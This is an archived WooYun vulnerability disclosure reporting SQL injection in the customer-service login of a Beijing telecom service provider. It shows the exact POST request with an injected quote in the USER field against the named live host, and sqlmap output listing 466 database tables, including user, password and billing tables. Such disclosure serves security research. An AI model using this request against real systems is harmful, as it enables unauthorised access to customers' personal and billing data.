当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0145327

漏洞标题：北京国通达通信SQL注入（涉及顾客信息/随意更改套餐/大量信息外泄）

相关厂商：北京国通达通信技术有限公司

漏洞作者： 路人甲

提交时间：2015-10-08 15:16

修复时间：2015-11-22 15:18

公开时间：2015-11-22 15:18

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：未联系到厂商或者厂商积极忽略

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-10-08： 积极联系厂商并且等待厂商认领中，细节不对外公开
2015-11-22： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

详细说明：

从支撑系统POST注入挖到463个表，多个库，
涉及范围较大
运营商躺枪
大量用户躺枪，各种信息，消费详情外泄

漏洞证明：

POST / HTTP/1.1
Host: kefu.tengkong.com
Content-Length: 52
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://kefu.tengkong.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.122 Safari/537.36 SE 2.X MetaSr 1.0
Content-Type: application/x-www-form-urlencoded
Referer: http://kefu.tengkong.com/
Accept-Encoding: gzip,deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: JSESSIONID=abc47UKMKy_e7_reBhgbv
USER=aaa%27&PASSWORD=aaa&Submit22=%B5%C7%C2%BC&ok=ok

Database: cmcc
[466 tables]
+-----------------------------------------+
| BaoDaiMa_DemandServiceID                |
| BaoDaiMa_SendLog                        |
| BaoDaiMa_SendQueue                      |
| BaoDaiMa_Simno                          |
| BaoDaiMa_SimnoServiceID                 |
| BookExtend_Statistic                    |
| CMCC_HaoDuan                            |
| CS_TellInput                            |
| CaiPiao_ChargeStatisticByDay1           |
| CaiPiao_ChargeStatisticByDay1           |
| CaiPiao_ChargeStatisticByDay2           |
| CaiPiao_ChargeStatisticByDay3           |
| CaiPiao_Friend                          |
| CaiPiao_InstructorConfig                |
| CaiPiao_InstructorMap1                  |
| CaiPiao_InstructorMap2                  |
| CaiPiao_InstructorMap3                  |
| CaiPiao_LotteryConfig                   |
| CaiPiao_SendLog                         |
| CaiPiao_Simno                           |
| CaiPiao_StatisticsDay_ByLotteryTrd1     |
| CaiPiao_StatisticsDay_ByLotteryTrd1     |
| CaiPiao_StatisticsDay_ByLotteryTrd2     |
| CaiPiao_StatisticsDay_ByLotteryTrd3     |
| CaiPiao_SysEntity                       |
| CaiPiao_TrdInfo                         |
| CaiPiao_UserInfo1                       |
| CaiPiao_UserInfo1                       |
| CaiPiao_UserInfo2                       |
| CaiPiao_UserInfo3                       |
| CaiPiao_UserLogin                       |
| CaiPiao_UserPower                       |
| ChargeMessage                           |
| Chat_ActionList                         |
| Chat_BlackList                          |
| Chat_ChatContent                        |
| Chat_CustomerRecieve                    |
| Chat_CustomerReply                      |
| Chat_FriendList                         |
| Chat_LoginUser                          |
| Chat_SID                                |
| Chat_UserInfo                           |
| CheckFlat_UserList                      |
| ChinaMobileCode_090820                  |
| ChinaMobileCode_090820                  |
| ChinaMobileCode_100926                  |
| ChinaMobileCode_1010                    |
| ChinaMobileCode_130820                  |
| ConstellationFortune_BabyInfo           |
| ConstellationFortune_DateInfo           |
| CustmUpFiles                            |
| CustmWorker                             |
| CustomerInput                           |
| Data_HYSYZX_660061                      |
| Data_SHHHLXY_660029                     |
| Data_SHYHHS_660003                      |
| Data_SHYM_66007714                      |
| Day_qunfatongji                         |
| DetectTableChange                       |
| FTPTransfer_MaoBi_MO                    |
| FTPTransfer_MaoBi_MT                    |
| FTPTransfer_MaoBi_Province              |
| FenZhongWebService_Log                  |
| FenZhongWebService_queue                |
| Flux_NotBalance                         |
| HaoDuan_Area                            |
| IPPort                                  |
| ListenNovel_booklist                    |
| ListenNovel_userbook                    |
| Log_ChongShangXing                      |
| Log_OrderedCharge                       |
| Log_TengkongWebMt                       |
| Log_TrdSyncOrderedUser                  |
| Log_sysfeedback_LastDay                 |
| LotterySimno_0709                       |
| Lottery_ContentInfo                     |
| Lottery_LoginUser                       |
| Lottery_ServiceConfig                   |
| Lottery_UseLog                          |
| Lottery_UserInfo                        |
| MMSUnion_ContinueChargeQueue            |
| MMSUnion_ContinueChargeUser             |
| MMS_Statistic                           |
| MaoBi_logMO                             |
| MaoBi_logMT                             |
| MaoBi_logReport                         |
| MaoBi_queueMO                           |
| MaoBi_queueMT                           |
| MaoBi_queueReport                       |
| MeeCall_Error                           |
| MeeCall_User                            |
| Misc_Log_OrderedShouldDel               |
| Misc_Log_Unsubscribe                    |
| Misc_OrderedShouldDel                   |
| Misc_Unsubscribe                        |
| Misc_log_SyncOrderRelationReq           |
| Misc_ordereduser                        |
| Misc_syncOrderRelationReq               |
| NeiZhi_StaticInfo                       |
| NeiZhi_UserLogin                        |
| Neizhi_BlackSection                     |
| Neizhi_MOLog                            |
| Neizhi_MOShieldLog                      |
| Neizhi_MOStatic                         |
| Neizhi_MTContentConfig                  |
| Neizhi_MTLimitConfig_20110916           |
| Neizhi_MTLimitConfig_20110916           |
| Neizhi_PartnerInfo                      |
| Neizhi_ServiceConfig_20120912           |
| Neizhi_ServiceConfig_20120912           |
| Neizhi_WhiteList                        |
| Neizhi_orderService                     |
| NetQin_ErrorLog                         |
| NetQin_ErrorLog                         |
| NetQin_Password                         |
| Netqin_Queue                            |
| Netqin_log                              |
| OA_Service                              |
| PGTV_User                               |
| ProcName_State                          |
| Push_AreaInfo                           |
| Push_PiciInfo                           |
| Push_UserLogin                          |
| Qunfa_ServName                          |
| ReceiveMessage_gtdSimno                 |
| SMS66002201BookExtend_Content           |
| SMS66005001Extend_Config                |
| SMS66005001Extend_User                  |
| SMS66005612Extend_Config                |
| SMS66005612Extend_User                  |
| SMS66005616Extend_Config                |
| SMS66005616Extend_User                  |
| SMS6600660BookExtend_Content            |
| SMS6600777Extend_Config_bak             |
| SMS6600777Extend_Config_bak             |
| SMS6600777Extend_TurntableReturncontent |
| SMS6600777Extend_UserPoint              |
| SMS6600777Extend_UserPoint              |
| SMS6600778Extend_Config_temp            |
| SMS6600778Extend_Config_temp            |
| SMS6600778Extend_User                   |
| SMS6600789Extend_User                   |
| SMS66007Extend_Config                   |
| SMS66007Extend_User                     |
| SMSExtendSimno1                         |
| SMSExtendSimno1                         |
| SMSGuess_AllUser1                       |
| SMSGuess_AllUser1                       |
| SMSGuess_PassWord                       |
| SMSGuessqunfaUser                       |
| SMSOutExtend_ContinueChargeQueue        |
| SMSOutExtend_ContinueChargeUser         |
| SMSOutExtend_User                       |
| SMSUser_StatisticsDay_ByServiceArea     |
| SMSUser_StatisticsDay_ServiceConfig     |
| SMS_PushServiceConfig                   |
| SMS_PushStatics                         |
| SMS_RoleList                            |
| SMS_URLList                             |
| SMS_UserLogin                           |
| Silence_Queue                           |
| Silence_User                            |
| SubscribleServiceResp                   |
| SuoLun_User                             |
| SyncOrderRelationReq                    |
| THREAD_CONTROL                          |
| TrdPartyDataTransferConfig              |
| TrdPartyDataTransferConfig              |
| TrdPartyDataTransferURL                 |
| TrdSyncOrderedUser                      |
| TrdUsers                                |
| U_AD                                    |
| U_Divination_Birthday                   |
| U_Divination_Constellation              |
| U_Divination_UserInfo                   |
| U_EducatePaperAnswer                    |
| U_HBTV_Research                         |
| U_HNEnglishSchool                       |
| U_Happy52_User                          |
| U_LanLing                               |
| U_Log_sd_qlzq                           |
| U_SDInfor_Vote                          |
| U_SYDT_AllDirectionInterActive          |
| U_SYDT_Car                              |
| U_SYDT_HappyWinner                      |
| U_SYDT_Information929                   |
| U_SYDT_NewsClue                         |
| U_SYDT_dghd                             |
| U_SYDT_lawonline                        |
| U_SYDT_life                             |
| U_SYDT_photograph                       |
| U_SYDT_storyguess_UserInfor             |
| U_SYTV_storyguess                       |
| U_SexChatRegInfo                        |
| U_ShunYi_DCJ                            |
| U_ShunYi_PSLB                           |
| U_ShunYi_SYZX                           |
| U_Suqian_Newspaper                      |
| U_TXY_Block                             |
| U_TXY_ChatContent                       |
| U_TXY_Info                              |
| U_TXY_Service                           |
| U_TXY_friends                           |
| U_TXY_recommend                         |
| U_TrdSimno                              |
| U_TrdSubmit_User                        |
| U_TrdSubmit_User                        |
| U_Weather_UserInfo                      |
| U_bjtv_zhongxinyuleyan                  |
| U_economyPaper                          |
| U_happydog_user                         |
| U_healthNewspaper                       |
| U_huaiheFood_Reporter                   |
| U_huaiheFood_VIP                        |
| U_humourNewspaper9                      |
| U_humourNewspaper9                      |
| U_log_SDInfor_Vote                      |
| U_lotteryorderedUser                    |
| U_northNewsPaper                        |
| U_ordereduser_20111103                  |
| U_ordereduser_20111103                  |
| U_ordereduser_20120417                  |
| U_pigeon                                |
| U_replyword                             |
| U_sqtv_newspaper                        |
| U_xinghuozhize                          |
| U_yulequan_leaveword                    |
| UnSubscribleServiceResp                 |
| VIEW_ServiceInfoAdd                     |
| VIEW_ServiceInfoAdd                     |
| View_Kefu                               |
| View_MO                                 |
| View_Mt                                 |
| View_OSS                                |
| View_OU                                 |
| View_OrderedUserFee                     |
| View_afterKefu                          |
| View_filmUnion_PartnerConfig            |
| View_log_UserSubmit_SysfeedBack         |
| View_log_radiostation                   |
| View_log_sysfeedback                    |
| WEB_BY_service                          |
| WEB_BY_user                             |
| WapExtendSimno                          |
| WapResource_User                        |
| XiZang_TV2_AnswerConfig                 |
| XiZang_TV2_User                         |
| XiZang_YSWH_JWUser                      |
| XinNuo_Content                          |
| YFCS_Extend_Content                     |
| YFCS_Extend_Statistic                   |
| YFCS_Extend_User                        |
| YNTV_RingLoad_InstructortoUserAgent     |
| YNTV_RingLoad_RingNumMatch              |
| YNTV_RingLoad_RingResource              |
| YNTV_RingLoad_UserAgent                 |
| YPXG_City                               |
| YPXG_Income_Occupation                  |
| YPXG_Income_all                         |
| YPXG_Income_city                        |
| YPXG_Occupation                         |
| YPXG_UserInfo                           |
| b_Ad                                    |
| b_OrderedTypeDsf_Config                 |
| b_TZJ_nsjk                              |
| b_TZJ_xlts                              |
| b_TZJ_ydrs                              |
| b_TZJ_ysmj                              |
| b_TrdMap                                |
| b_background                            |
| b_bySendInfo                            |
| b_caipiaoInfo_Config                    |
| b_cpWebFeeMessage_ContentConfig         |
| b_cpWebfeemessage_PartnerConfig         |
| b_dsfConfig                             |
| b_especiallyOrderedService              |
| b_leaveWord                             |
| b_mixOrderServiceConfig                 |
| b_orderServiceReply                     |
| b_picAndRingUnion_Config                |
| b_productsinfoAdd                       |
| b_productsinfoAdd                       |
| b_sidsetAdd                             |
| b_sidsetAdd                             |
| b_trdParty                              |
| black_user20120412                      |
| blacklist_13419_1                       |
| blacklist_13419_1                       |
| blacklist_13419_2                       |
| blacklist_20110516                      |
| blackuser                               |
| bujunheng_content                       |
| bujunheng_simno                         |
| chinamobilecode_20121228                |
| chinamobilecode_guangdong               |
| cmcc_log_statusreport1                  |
| cmcc_log_statusreport1                  |
| cmcc_log_sysfeedback1                   |
| cmcc_log_sysfeedback1                   |
| cmcc_log_sysfeedback3                   |
| cmcc_log_sysfeedback4                   |
| cmcc_log_sysfeedback5                   |
| cs_Answer                               |
| cs_Input                                |
| cs_ProvinceArea                         |
| cs_Questions                            |
| cs_User                                 |
| cs_freemessage                          |
| cs_partner                              |
| cs_replaceDestAddr                      |
| cs_tellModifyLog                        |
| custCreatepassword                      |
| diansong_config                         |
| dtproperties                            |
| duizhang_1404                           |
| filmUnion_AllUser                       |
| filmUnion_BlackUser                     |
| filmUnion_ConfigModifyLog               |
| filmUnion_ContinueChargeQueue           |
| filmUnion_ContinueChargeUser            |
| filmUnion_DetailFreeMessageUsers        |
| filmUnion_DetailOrderedRateStatistic    |
| filmUnion_OrderedRateStatistic          |
| filmUnion_PartnerUser                   |
| filmUnion_RepeatChargeQueue             |
| filmUnion_RepeatChargeUserLog           |
| filmUnion_RepeatChargeUserLog           |
| filmUnion_SSOLoginTempUser              |
| filmUnion_SendEntityMessageProvince     |
| filmUnion_ServiceConfig                 |
| flatdetect                              |
| fujian_20110926                         |
| gdblacklist                             |
| heimingdan                              |
| ht_mobile                               |
| liaoning_hei_201311                     |
| liaoning_heimingdan_201310              |
| log_FromWebUser                         |
| log_TrdPartyDataTransfer                |
| log_UnionFreeMessageUsers               |
| log_allunion                            |
| log_bysendLog                           |
| log_caipiaosendlog                      |
| log_filmUnion                           |
| log_gtdPicAndRing_allUser               |
| log_mmsUnion                            |
| log_partnerDsfPasswordResp              |
| log_ssoWEB                              |
| log_statusreport_1404                   |
| log_statusreport_1404                   |
| log_sysfeedback_1404                    |
| log_sysfeedback_1404                    |
| log_sysfeedback_statusreport            |
| log_trdMo_bak                           |
| log_trdMo_bak                           |
| log_trdMt                               |
| log_trdReport                           |
| log_userFeeStatistic                    |
| log_usersubmit_1404                     |
| log_usersubmit_1404                     |
| mmsorder_test                           |
| neizhi_Province                         |
| neizhi_blacklist_20110318               |
| neizhi_blacklist_20110318               |
| neizhi_gskl_province                    |
| neizhi_wujuOrderContent                 |
| neizhi_wujuOrderInterface               |
| neizhi_wujuOrderLog                     |
| oss_Account                             |
| oss_Answer                              |
| oss_Questions                           |
| oss_Role                                |
| oss_TypicalUser                         |
| oss_URLList                             |
| oss_URLList                             |
| oss_news                                |
| pb0410                                  |
| pb0508                                  |
| picAndRingUnion_BlackUser               |
| picAndRingUnion_ContinueChargeQueue     |
| picAndRingUnion_ContinueChargeUser      |
| picAndRingUnion_Log_User                |
| picAndRingUnion_Log_WapPush             |
| picAndRingUnion_OrderedRateStatistict   |
| picAndRingUnion_ServiceConfig           |
| prefix_province                         |
| prefix_province                         |
| push_example                            |
| push_sms_0316_1                         |
| pushadmin_AssociateLog                  |
| pushadmin_CheckLog                      |
| pushadmin_DayConfig                     |
| pushadmin_HourConfig                    |
| pushadmin_NotContentService             |
| pushadmin_PreparativeSendConfig         |
| pushadmin_PushLog                       |
| pushadmin_SendConfig                    |
| pushadmin_SendQueue                     |
| pushadmin_ServiceConfig                 |
| pushadmin_User                          |
| queue_MMSNotify                         |
| queue_OrderedSendbak                    |
| queue_allUnion                          |
| queue_filmUnion                         |
| queue_mmsUnion                          |
| queue_notification                      |
| queue_orderedsend_temp_1                |
| queue_orderedsend_temp_1                |
| queue_orderedsend_temp_1                |
| queue_orderedsend_temp_2                |
| queue_orderedsend_temp_3                |
| queue_orderedsend_temp_4                |
| queue_orderedsend_temp_5                |
| queue_orderedsend_temp_6                |
| queue_orderedsend_temp_7                |
| queue_partnerDsfPassword                |
| queue_picAndRingUnion                   |
| queue_sysfeedback091124                 |
| queue_sysfeedback091124                 |
| queue_sysfeedback20070409               |
| queue_sysfeedback20070409               |
| queue_sysfeedback3                      |
| queue_sysfeedback4                      |
| queue_sysfeedback5                      |
| queue_sysfeedback6                      |
| queue_sysfeedbackbak                    |
| queue_trdMo_0619                        |
| queue_trdMo_0619                        |
| queue_trdmoqutong1                      |
| queue_trdmoqutong1                      |
| queue_trdreport1                        |
| queue_trdreport2                        |
| queue_trdreport_0619                    |
| queue_trdreport_0619                    |
| queue_usersubmit1                       |
| queue_usersubmit1                       |
| sendMsg_content                         |
| sendMsg_user                            |
| serviceid                               |
| sichuan_simno                           |
| sms_0316_3w                             |
| sysconstraints                          |
| syslog                                  |
| sysmolog                                |
| syssegments                             |
| temp_0701_11                            |
| temp_0701_11                            |
| temp_anhui_201412_50000                 |
| temp_anhui_201412_50000                 |
| u_CooperateUser                         |
| u_SYDT_enjoyGuess                       |
| u_hn_gsOffice                           |
| u_sessionUser                           |
| u_sq_newscollect                        |
| u_unionChatUser                         |
| u_xizhangdtUser                         |
| view_filmUnion_ConfigModify_Log         |
| yingjiacaipiao_SendLog                  |
| yingjiacaipiao_ServiceConfig            |
| 吉林黑名单                                   |
| 山东182                                     |
| 山西屏蔽号码                                  |
| 河北7和8黑名单                                      |
| 浙江垃圾短信投诉用户号码                            |
| 退费明细201410                                  |
| 需要屏蔽的黑名单                                |
+-----------------------------------------+
[14:28:11] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 469 times
[14:28:11] [INFO] fetched data logged to text files under 'C:\Users\KING\.sqlmap\output\kefu.tengkong.com'
[*] shutting down at 14:28:11
C:\Python27\sqlmap>

当前库表

111.png

22.png

32333.png

444.png

555.png

修复方案：

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝